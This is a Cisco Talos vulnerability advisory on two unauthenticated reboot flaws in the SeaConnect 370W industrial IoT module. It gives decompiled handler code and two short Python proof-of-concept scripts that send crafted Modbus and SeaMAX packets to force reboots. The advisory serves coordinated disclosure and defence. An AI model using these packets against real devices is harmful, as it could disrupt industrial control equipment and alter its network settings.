Talos Vulnerability Report

TALOS-2021-1392

# Sealevel Systems, Inc. SeaConnect 370W Modbus/SeaMAX Remote Configuration denial of service vulnerabilities

FEBRUARY 1, 2022

CVE NUMBER

CVE-2021-21965,CVE-2021-21964

Summary

Two denial of service vulnerabilities exist in the Modbus/SeaMAX Remote Configuration functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. Specially-crafted network packets can lead to denial of service. An attacker can send a malicious packet to trigger these vulnerabilities.

Tested Versions

Sealevel Systems, Inc. SeaConnect 370W v1.3.34

Product URLs

SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

CVSSv3 Score

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

CWE

CWE-284 - Improper Access Control

Details

The SeaConnect 370W is a Wi-Fi connected IIoT device offering programmable cloud access and control of digital and analog I/O and a 1-wire bus.

This device offers remote control via several means including MQTT, Modbus TCP and a manufacturer-specific protocol named “SeaMAX API”.

The device is built on top of the TI CC3200 MCU with built-in Wi-Fi capabilities.

The SeaConnect 370W can be configured through multiple independent means: HTTP, Modbus and the SeaMAX Ethernet API. Of these configuration interfaces, only the HTTP interface is enabled by default, and it is also the only one that enforces any level of authentication. Both the Modbus and SeaMAX Ethernet API interfaces are accessible via unauthenticated network requests (Modbus via TCP 502, SeaMAX Ethernet API via UDP 30718) when they are enabled. Certain modifications to the device settings require a reboot before taking effect, and so each method provides a mechanism to reboot the device. An attacker with network access to either of these ports can consistently render the device unusable by sending a properly formatted ‘Reboot’ request packet.

## CVE-2021-21964 - Unauthenticated Modbus Interface

When the Modbus service has been enabled, a socket is bound to TCP port 502, and properly formatted Modbus requests are dispatched to a function located at offset 0x121B4, which we have titled `DispatchModbusRequest`. This function takes as its parameters a pointer to the Unit Identifier field of the MBAP header (located one byte ahead of the PDU) and the value of the length field provided in the MBAP. On top of the standard Modbus function codes, this device has support for several proprietary function codes as well, which can be seen below.

```
int __fastcall DispatchModbusRequest(char *buffer, int buffer_len)
{
  int fcode; // r0

  if ( buffer_len < 2 )
    return 0;

  fcode = buffer[1];

  switch (fcode)
  {
      case 0x01:
          return mbReadCoil(buffer, buffer_len);
      case 0x02:
          return mbReadDiscreteInput(buffer, buffer_len);
      case 0x03:
          return mbReadHoldingRegisters(buffer);
      case 0x04:
          return mbReadInputRegisters(buffer, buffer_len);
      case 0x05:
          return mbWriteSingleCoil(buffer, buffer_len);
      case 0x06:
          return mbWriteSingleHoldingRegister(buffer, buffer_len);
      case 0x0F:
          return mbWriteMultipleCoils(buffer, buffer_len);
      case 0x13:
          Reboot();  // noreturn
      case 0x45:
          return mbHandleFunction45(buffer);
      case 0x48:
          return mbChangeMacAddress(buffer, buffer_len);
      case 0x64:
          return mbWriteAnalogInputModes(buffer, buffer_len);
      case 0x65:
          return mbReadAnalogInputModes(buffer);
      case 0x66:
          return mbGetFirmwareVersion(buffer);
      default:
          return ModbusError(buffer, 1);
  }
}
```

For this device, the modbus server provides access to manipulate or view the status of digital inputs and outputs, analog input readings and their operation modes, the device's MAC address and firmware versions, as well as issue a Reboot request.

In order to render this device relatively unusable, an attacker need only issue Modbus requests for function 0x13 every time it sees the device reconnect to the network.

### Exploit Proof of Concept

```
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('<target>', 502))
s.send(b'\x00\x00\x00\x00\x00\x02\x00\x13')
```

### CVE-2021-21965 - Unauthenticated SeaMAX Ethernet API

The SeaMAX Ethernet API can also be used for device configuration. Commonly, this interaction will occur from within the provided SeaLevel software ("SeaMAX Ethernet Configuration" and "MaxSSD") or from software built using the SeaMAX SDK. The SeaMAX Ethernet API is exposed on UDP port 30718 and is rather straightforward. Included below are the relevant portions of the function responsible for parsing and dispatching incoming requests. The portions we care about are contained within what we've termed the `RUN` state.

```
void HandleSeaMAXAPIRequest()
{
  ...
  switch (global_SeaMAXAPI_State) {
      case INIT:
        // Initialization of global_SeaMAXAPI_Socket, bound to UDP 30718
        ...
        break;

      case RUN:
        buffer = global_SeaMAX_recv_buffer;
        length = recvfrom(global_SeaMAXAPI_Socket, buffer, 150, 0, &src_addr, &addrlen);
        if ( length > 0 ) {
          if ( length >= 4 && !buffer[0] && !buffer[2]) {
            // Packet must be 4 bytes or larger, and the 0th and 2nd bytes *must* be 0x00
            switch ( buffer[3] )  // Function Code is the 3rd byte
            {
              case 0xC0:
                HandleWriteSetupRecord0(buffer, sock, &from);
                break;
              case 0xC3:
                HandleWriteSetupRecord3(buffer, sock, &from);
                break;
              case 0xE0:
                HandleQuerySetupRecord0(buffer, sock, &from);
                break;
              case 0xE3:
                HandleQuerySetupRecord3(buffer, sock, &from);
                break;
              case 0xF6:
                HandleFwVersionRequest(buffer, sock, &from);
                break;
              default:
                Report("E: UNKNOWN(buffer[3] = 0x%02X, length=%d)\r\n", buffer[3], length);
                break;
            }
          }
        }
        break;

      case STOP:
        // Tear down global_SeaMAXAPI_Socket
        ...
        break;
  }
  ...
}
```

For a request to be appropriately dispatched, it must meet a handful of requirements: 1. It must be at least four bytes long 2. The 0th and 2nd bytes must be null 3. The 3rd byte must be one of `{0xC0, 0xC3, 0xE0, 0xE3}`

In particular, the `HandleWriteSetupRecord0` and `HandleWriteSetupRecord3` allow a remote user to configure settings such as device name, static IP address, DHCP options, etc. If the configuration change made by the remote user necessitates a device reboot, then the first byte of the request will be set to zero as well.

As a reference, we include a decompilation of the `HandleWriteSetupRecord3` function.

```
void HandleWriteSetupRecord3(char *buffer, int sockfd, SlInAddr_t *from_addr)
{
  if ( IsSeaMAXEthernetAPIEnabled() ) {
    Report("I: Write Setup Record 3\r\n");
    buffer[3] = 0xB3;  // buffer is edited in place to serve as the response buffer, so set the 'response' code to 0xC3 - 0x10
    memset(global_DeviceName[2], '\0', 8);  // Empty the device name field, after the first type bytes ('SL')
    memcpy(global_DeviceName[2], buffer[106], 7);  // Copy the new device name out of the request
    global_DeviceNameHasChanged = 1;
    SetDeviceName();
    sendto(sockfd, buffer, 4, 0, &from_addr, 4);
    ...  // Error handling related to sendto failures
    if ( !buffer[1] )
        Reboot();
  }
}
```

Note the final conditional check, where the first byte (zero-indexed) of the packet is checked to see if a reboot has been requested.

Similar to the modbus reboot function, a remote attacker can render a device relatively unusable by submitting properly-formed SeaMAX requests that will cause the device to reboot. Similarly, an attacker could potentially make breaking changes to a device's network configuration, such as enabling or disabling DHCP.

### Exploit Proof of Concept

```
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'\x00\x00\x00\xC3', ('<target_ip>', 30718))
```

#### Timeline

2021-10-21 - Initial vendor contact

2021-10-26 - Vendor disclosure

2022-02-01 - Public Release

#### CREDIT

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

© 2022 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy.